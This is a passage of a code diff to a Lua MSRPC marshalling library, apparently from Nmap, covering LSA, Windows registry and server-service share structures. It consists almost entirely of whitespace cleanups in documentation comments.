+1903,10 @@ function unmarshall_lsa_LookupNamesLevel(data, pos) end ---Convert a lsa_LookupNamesLevel value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function lsa_LookupNamesLevel_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering lsa_LookupNamesLevel_tostr()")) @@ -1929,14 +1929,14 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. --@param sid_type The sid_type value (I don't know what this means) --@param rid The rid (a number representing the user) --@param sid_index The sid_index value (I don't know what this means, either) ---@param unknown An unknown value (is normaly 0). ---@return A string representing the marshalled data. +--@param unknown An unknown value (is normaly 0). +--@return A string representing the marshalled data. local function marshall_lsa_TranslatedSid2(location, sid_type, rid, sid_index, unknown) local result = "" stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_TranslatedSid2()")) @@ -1973,15 +1973,15 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_lsa_TranslatedSid2(location, data, pos, result) if(result == nil) then @@ -2014,14 +2014,14 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. --@param sid_type The sid_type value, as a string --@param name The name of the user --@param sid_index The sid_index (I don't know what this is) --@param unknown An unknown value, normally 0 ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. local function marshall_lsa_TranslatedName2(location, sid_type, name, sid_index, unknown) local result = "" stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_TranslatedName2()")) @@ -2048,15 +2048,15 @@ local function marshall_lsa_TranslatedName2(location, sid_type, name, sid_index, end --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_lsa_TranslatedName2(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_TranslatedName2()")) @@ -2091,7 +2091,7 @@ end -- -- --@param sids An array of SIDs to translate (as strings) ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_lsa_TransSidArray2(sids) local result = "" local array = {} @@ -2122,16 +2122,16 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. ---@return (pos, result) The new position in data, and the string value. +-- anything. +--@return (pos, result) The new position in data, and the string value. local function unmarshall_lsa_StringLarge(location, data, pos, result) local length, size local str @@ -2162,15 +2162,15 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_lsa_DomainInfo(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_DomainInfo()")) @@ -2202,8 +2202,8 @@ end -- } lsa_RefDomainList; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_RefDomainList(data, pos) local result = {} @@ -2222,10 +2222,10 @@ function unmarshall_lsa_RefDomainList(data, pos) end ---Unmarshall a pointer to a lsa_RefDomainList. See the unmarshall_lsa_RefDomainList function --- for more information. +-- for more information. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_RefDomainList_ptr(data, pos) local result @@ -2246,8 +2246,8 @@ end -- } lsa_TransSidArray2; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_TransSidArray2(data, pos) local result = {} @@ -2272,9 +2272,9 @@ end -- -- -- I didn't bother letting the user specify values, since I don't know what any of them do. The --- defaults seem to work really well. +-- defaults seem to work really well. -- ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_lsa_QosInfo() local result = "" stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_QosInfo()")) @@ -2302,9 +2302,9 @@ end -- -- -- I didn't bother letting the user specify values, since I don't know what any of them do. The --- defaults seem to work really well. +-- defaults seem to work really well. -- ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_lsa_ObjectAttribute() local result = "" stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_ObjectAttribute()")) @@ -2329,11 +2329,11 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param sid The SID to marshall (as a string). ---@return A string representing the marshalled data. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param sid The SID to marshall (as a string). +--@return A string representing the marshalled data. local function marshall_lsa_SidPtr(location, sid) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_SidPtr()")) @@ -2353,8 +2353,8 @@ end -- } lsa_SidArray; -- -- ---@param sids The array of SIDs to marshall (as strings). ---@return A string representing the marshalled data. +--@param sids The array of SIDs to marshall (as strings). +--@return A string representing the marshalled data. function marshall_lsa_SidArray(sids) local result = "" local array = {} @@ -2378,15 +2378,15 @@ end -- } lsa_SidPtr; -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. ---@param pos The position within data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. +--@param pos The position within data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_SidPtr(location, data, pos, result) return unmarshall_ptr(location, data, pos, unmarshall_dom_sid2, {}, result) @@ -2399,8 +2399,8 @@ end -- [size_is(num_sids)] lsa_SidPtr *sids; -- } lsa_SidArray; -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_SidArray(data, pos) local sidarray = {} @@ -2420,8 +2420,8 @@ end -- } lsa_TransNameArray2; -- -- ---@param names An array of names to translate. ---@return A string representing the marshalled data. +--@param names An array of names to translate. +--@return A string representing the marshalled data. function marshall_lsa_TransNameArray2(names) local result = "" local array = {} @@ -2447,10 +2447,10 @@ function marshall_lsa_TransNameArray2(names) end ---Unmarshall a lsa_TransNameArray2 structure. See the marshall_lsa_TransNameArray2 for more --- information. +-- information. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_lsa_TransNameArray2(data, pos) local result = {} @@ -2470,7 +2470,7 @@ end -- (dependencies: LSA, INITSHUTDOWN, SECURITY) ------------------------------------- --- Access masks for Windows registry calls -local winreg_AccessMask = +local winreg_AccessMask = { DELETE_ACCESS = 0x00010000, READ_CONTROL_ACCESS = 0x00020000, @@ -2502,11 +2502,11 @@ local winreg_AccessMask_str = GENERIC_READ_ACCESS = "Read access" } ----Marshall a winreg_AccessMask. +---Marshall a winreg_AccessMask. -- --@param accessmask The access mask as a string (see the winreg_AccessMask -- table) ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. function marshall_winreg_AccessMask(accessmask) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_AccessMask()")) @@ -2517,11 +2517,11 @@ function marshall_winreg_AccessMask(accessmask) return result end ----Unmarshall a winreg_AccessMask. This datatype is tied to the table with that name. +---Unmarshall a winreg_AccessMask. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_winreg_AccessMask(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_winreg_AccessMask()")) @@ -2533,10 +2533,10 @@ function unmarshall_winreg_AccessMask(data, pos) end ---Convert a winreg_AccessMask value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function winreg_AccessMask_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering winreg_AccessMask_tostr()")) @@ -2548,7 +2548,7 @@ function winreg_AccessMask_tostr(val) end ---Registry types -winreg_Type = +winreg_Type = { REG_NONE = 0, REG_SZ = 1, @@ -2565,7 +2565,7 @@ winreg_Type = } ---Registry type strings -winreg_Type_str = +winreg_Type_str = { REG_NONE = "None", REG_SZ = "String", @@ -2581,12 +2581,12 @@ winreg_Type_str = REG_QWORD = "Qword" } ----Marshall a winreg_Type. This datatype is tied to the table above with that --- name. +---Marshall a winreg_Type. This datatype is tied to the table above with that +-- name. -- --@param winregtype The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_winreg_Type(winregtype) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_Type()")) @@ -2597,11 +2597,11 @@ function marshall_winreg_Type(winregtype) return result end ----Unmarshall a winreg_Type. This datatype is tied to the table with that name. +---Unmarshall a winreg_Type. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_winreg_Type(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_winreg_Type()")) @@ -2612,12 +2612,12 @@ function unmarshall_winreg_Type(data, pos) return pos, str end ----Marshall a pointer to a winreg_Type. This datatype is tied to the table above with that --- name. +---Marshall a pointer to a winreg_Type. This datatype is tied to the table above with that +-- name. -- --@param winreg_type The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_winreg_Type_ptr(winreg_type) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_Type_ptr()")) @@ -2628,11 +2628,11 @@ function marshall_winreg_Type_ptr(winreg_type) return result end ----Unmarshall a pointer to a winreg_Type. This datatype is tied to the table with that name. +---Unmarshall a pointer to a winreg_Type. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_winreg_Type_ptr(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_winreg_Type_ptr()")) @@ -2644,10 +2644,10 @@ function unmarshall_winreg_Type_ptr(data, pos) end ---Convert a winreg_Type value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function winreg_Type_tostr(val) local result stdnse.print_debug(4, string.format("MSRPC: Entering winreg_Type_tostr()")) @@ -2659,22 +2659,22 @@ function winreg_Type_tostr(val) end --- A winreg_stringbuf is a buffer that holds a null-terminated string. It can have a max size that's different --- from its actual size. +-- from its actual size. -- -- This is the format: -- -- -- typedef struct { --- [value(strlen_m_term(name)*2)] uint16 length; +-- [value(strlen_m_term(name)*2)] uint16 length; -- uint16 size; -- [size_is(size/2),length_is(length/2),charset(UTF16)] uint16 *name; -- } winreg_StringBuf; -- -- ---@param table The table to marshall. Will probably contain just the 'name' entry. ---@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. --- Defaults to the length of the string, including the null. ---@return A string representing the marshalled data. +--@param table The table to marshall. Will probably contain just the 'name' entry. +--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. +-- Defaults to the length of the string, including the null. +--@return A string representing the marshalled data. function marshall_winreg_StringBuf(table, max_length) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_StringBuf()")) @@ -2709,11 +2709,11 @@ function marshall_winreg_StringBuf(table, max_length) return result end ----Unmarshall a winreg_StringBuf buffer. +---Unmarshall a winreg_StringBuf buffer. -- ---@param data The data buffer. ---@param pos The position in the data buffer. ---@return (pos, str) The new position and the string. +--@param data The data buffer. +--@param pos The position in the data buffer. +--@return (pos, str) The new position and the string. function unmarshall_winreg_StringBuf(data, pos) local length, size local str @@ -2729,11 +2729,11 @@ function unmarshall_winreg_StringBuf(data, pos) end ---Marshall a winreg_StringBuffer pointer. Same as marshall_winreg_StringBuf, except --- the string can be nil. +-- the string can be nil. -- --@param table The table representing the String. ---@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null. ---@return A string representing the marshalled data. +--@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null. +--@return A string representing the marshalled data. function marshall_winreg_StringBuf_ptr(table, max_length) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_StringBuf_ptr()")) @@ -2746,9 +2746,9 @@ end ---Unmarshall a winreg_StringBuffer pointer -- ---@param data The data buffer. ---@param pos The position in the data buffer. ---@return (pos, str) The new position and the string. +--@param data The data buffer. +--@param pos The position in the data buffer. +--@return (pos, str) The new position and the string. function unmarshall_winreg_StringBuf_ptr(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_winreg_StringBuf_ptr()")) @@ -2760,11 +2760,11 @@ function unmarshall_winreg_StringBuf_ptr(data, pos) end ---- A winreg_String has the same makup as a winreg_StringBuf, as far as I can tell, so delegate to that function. +--- A winreg_String has the same makup as a winreg_StringBuf, as far as I can tell, so delegate to that function. -- ---@param table The table representing the String. ---@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null. ---@return A string representing the marshalled data. +--@param table The table representing the String. +--@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null. +--@return A string representing the marshalled data. function marshall_winreg_String(table, max_length) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_winreg_String()")) @@ -2775,11 +2775,11 @@ function marshall_winreg_String(table, max_length) return result end ----Unmarshall a winreg_String. Since ti has the same makup as winreg_StringBuf, delegate to that. +---Unmarshall a winreg_String. Since ti has the same makup as winreg_StringBuf, delegate to that. -- ---@param data The data buffer. ---@param pos The position in the data buffer. ---@return (pos, str) The new position and the string. +--@param data The data buffer. +--@param pos The position in the data buffer. +--@return (pos, str) The new position and the string. function unmarshall_winreg_String(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_winreg_String()")) @@ -2796,7 +2796,7 @@ end -- (dependencies: SECURITY, SVCCTL) ------------------------------------- ---Share types -local srvsvc_ShareType = +local srvsvc_ShareType = { STYPE_DISKTREE = 0x00000000, STYPE_DISKTREE_TEMPORARY = 0x40000000, @@ -2804,10 +2804,10 @@ local srvsvc_ShareType = STYPE_PRINTQ = 0x00000001, STYPE_PRINTQ_TEMPORARY = 0x40000001, STYPE_PRINTQ_HIDDEN = 0x80000001, - STYPE_DEVICE = 0x00000002, -- Serial device + STYPE_DEVICE = 0x00000002, -- Serial device STYPE_DEVICE_TEMPORARY = 0x40000002, STYPE_DEVICE_HIDDEN = 0x80000002, - STYPE_IPC = 0x00000003, -- Interprocess communication (IPC) + STYPE_IPC = 0x00000003, -- Interprocess communication (IPC) STYPE_IPC_TEMPORARY = 0x40000003, STYPE_IPC_HIDDEN = 0x80000003 } @@ -2828,12 +2828,12 @@ local srvsvc_ShareType_str = STYPE_IPC_HIDDEN = "Interprocess Communication (hidden)" } ----Marshall a srvsvc_ShareType. This datatype is tied to the table above with that --- name. +---Marshall a srvsvc_ShareType. This datatype is tied to the table above with that +-- name. -- --@param sharetype The value to marshall, as a string ---@return The marshalled integer representing the given value, or nil if it wasn't --- found. +--@return The marshalled integer representing the given value, or nil if it wasn't +-- found. function marshall_srvsvc_ShareType(sharetype) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_ShareType()")) @@ -2844,11 +2844,11 @@ function marshall_srvsvc_ShareType(sharetype) return result end ----Unmarshall a srvsvc_ShareType. This datatype is tied to the table with that name. +---Unmarshall a srvsvc_ShareType. This datatype is tied to the table with that name. -- ---@param data The data packet. ---@param pos The position within the data. ---@return (pos, str) The new position, and the string representing the datatype. +--@param data The data packet. +--@param pos The position within the data. +--@return (pos, str) The new position, and the string representing the datatype. function unmarshall_srvsvc_ShareType(data, pos) local str stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_srvsvc_ShareType()")) @@ -2860,12 +2860,12 @@ function unmarshall_srvsvc_ShareType(data, pos) end ---Convert a srvsvc_ShareType value to a string that can be shown to the user. This is --- based on the _str table. +-- based on the _str table. -- --@param val The string value (returned by the unmarshall_ function) to convert. ---@return A string suitable for displaying to the user, or nil if it wasn't found. +--@return A string suitable for displaying to the user, or nil if it wasn't found. function srvsvc_ShareType_tostr(val) - local result + local result stdnse.print_debug(4, string.format("MSRPC: Entering srvsvc_ShareType_tostr()")) result = srvsvc_ShareType_str[val] @@ -2874,7 +2874,7 @@ function srvsvc_ShareType_tostr(val) return result end ----Marshall a NetShareInfo type 0, which is just a name. +---Marshall a NetShareInfo type 0, which is just a name. -- -- -- typedef struct { @@ -2883,11 +2883,11 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param name The name to marshall. ---@return A string representing the marshalled data. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param name The name to marshall. +--@return A string representing the marshalled data. local function marshall_srvsvc_NetShareInfo0(location, name) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareInfo0()")) @@ -2898,18 +2898,18 @@ local function marshall_srvsvc_NetShareInfo0(location, name) return result end ----Unmarshall a NetShareInfo type 0, which is just a name. See the marshall function for more information. +---Unmarshall a NetShareInfo type 0, which is just a name. See the marshall function for more information. -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data packet. ---@param pos The position within the data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data packet. +--@param pos The position within the data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_srvsvc_NetShareInfo0(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_srvsvc_NetShareInfo0()")) @@ -2929,7 +2929,7 @@ local function unmarshall_srvsvc_NetShareInfo0(location, data, pos, result) return pos, result end ----Marshall a NetShareInfo type 1, which is the name and a few other things. +---Marshall a NetShareInfo type 1, which is the name and a few other things. -- -- -- typedef struct { @@ -2940,13 +2940,13 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param name The name to marshall. ---@param sharetype The sharetype to marshall (as a string). ---@param comment The comment to marshall. ---@return A string representing the marshalled data. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param name The name to marshall. +--@param sharetype The sharetype to marshall (as a string). +--@param comment The comment to marshall. +--@return A string representing the marshalled data. local function marshall_srvsvc_NetShareInfo1(location, name, sharetype, comment) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareInfo1()")) @@ -2960,19 +2960,19 @@ local function marshall_srvsvc_NetShareInfo1(location, name, sharetype, comment) return result end ----Unmarshall a NetShareInfo type 1, which is a name and a couple other things. See the marshall --- function for more information. +---Unmarshall a NetShareInfo type 1, which is a name and a couple other things. See the marshall +-- function for more information. -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data packet. ---@param pos The position within the data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data packet. +--@param pos The position within the data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_srvsvc_NetShareInfo1(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_srvsvc_NetShareInfo1()")) @@ -2996,7 +2996,7 @@ local function unmarshall_srvsvc_NetShareInfo1(location, data, pos, result) end ----Marshall a NetShareInfo type 2, which is the name and a few other things. +---Marshall a NetShareInfo type 2, which is the name and a few other things. -- -- -- typedef struct { @@ -3012,18 +3012,18 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param name The name to marshall. ---@param sharetype The sharetype to marshall (as a string). ---@param comment The comment to marshall. ---@param permissions The permissions, an integer. ---@param max_users The max users, an integer. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param name The name to marshall. +--@param sharetype The sharetype to marshall (as a string). +--@param comment The comment to marshall. +--@param permissions The permissions, an integer. +--@param max_users The max users, an integer. --@param current_users The current users, an integer. --@param path The path, a string. --@param password The share-level password, a string (never used on Windows). ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. local function marshall_srvsvc_NetShareInfo2(location, name, sharetype, comment, permissions, max_users, current_users, path, password) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareInfo2()")) @@ -3042,19 +3042,19 @@ local function marshall_srvsvc_NetShareInfo2(location, name, sharetype, comment, return result end ----Unmarshall a NetShareInfo type 2, which is a name and a few other things. See the marshall --- function for more information. +---Unmarshall a NetShareInfo type 2, which is a name and a few other things. See the marshall +-- function for more information. -- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data packet. ---@param pos The position within the data. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data packet. +--@param pos The position within the data. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position in data, and a table representing the datatype. local function unmarshall_srvsvc_NetShareInfo2(location, data, pos, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_srvsvc_NetShareInfo2()")) @@ -3093,8 +3093,8 @@ end -- } srvsvc_NetShareCtr0; -- -- ---@param NetShareCtr0 A table representing the structure. ---@return A string representing the marshalled data. +--@param NetShareCtr0 A table representing the structure. +--@return A string representing the marshalled data. function marshall_srvsvc_NetShareCtr0(NetShareCtr0) local i local result = "" @@ -3127,10 +3127,10 @@ function marshall_srvsvc_NetShareCtr0(NetShareCtr0) return result end ----Unmarshall a NetShareCtr (container) type 0. See the marshall function for the definition. +---Unmarshall a NetShareCtr (container) type 0. See the marshall function for the definition. -- ---@param data The data packet. ---@param pos The position within the data. +--@param data The data packet. +--@param pos The position within the data. --@return (pos, result) The new position in data, and a table representing the datatype. function unmarshall_srvsvc_NetShareCtr0(data, pos) local count @@ -3154,8 +3154,8 @@ end -- } srvsvc_NetShareCtr1; -- -- ---@param NetShareCtr1 A table representing the structure. ---@return A string representing the marshalled data. +--@param NetShareCtr1 A table representing the structure. +--@return A string representing the marshalled data. function marshall_srvsvc_NetShareCtr1(NetShareCtr1) local i local result = "" @@ -3198,8 +3198,8 @@ end -- } srvsvc_NetShareCtr2; -- -- ---@param NetShareCtr2 A pointer to the structure. ---@return A string representing the marshalled data. +--@param NetShareCtr2 A pointer to the structure. +--@return A string representing the marshalled data. function marshall_srvsvc_NetShareCtr2(NetShareCtr2) local i local result = "" @@ -3251,14 +3251,14 @@ end -- } srvsvc_NetShareCtr; -- -- --- Not all of them are implemented, however; look at the code to see which are implemented (at the --- time of this writing, it's 0, 1, and 2). +-- Not all of them are implemented, however; look at the code to see which are implemented (at the +-- time of this writing, it's 0, 1, and 2). -- --@param level The level to request. Different levels will return different results, but also require --- different access levels to call. ---@param data The data to populate the array with. Depending on the level, this data will be different. --- For level 0, you'll probably want a table containing array=nil. ---@return A string representing the marshalled data, or 'nil' if it couldn't be marshalled. +-- different access levels to call. +--@param data The data to populate the array with. Depending on the level, this data will be different. +-- For level 0, you'll probably want a table containing array=nil. +--@return A string representing the marshalled data, or 'nil' if it couldn't be marshalled. function marshall_srvsvc_NetShareCtr(level, data) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_srvsvc_NetShareCtr()")) @@ -3279,12 +3279,12 @@ function marshall_srvsvc_NetShareCtr(level, data) end ---Unmarshall the top-level NetShareCtr. This is a union of a bunch of containers, see the equivalent --- marshall function for more information; at the time of this writing I've only implemented level = 0. +-- marshall function for more information; at the time of this writing I've only implemented level = 0. -- ---@param data The data packet. ---@param 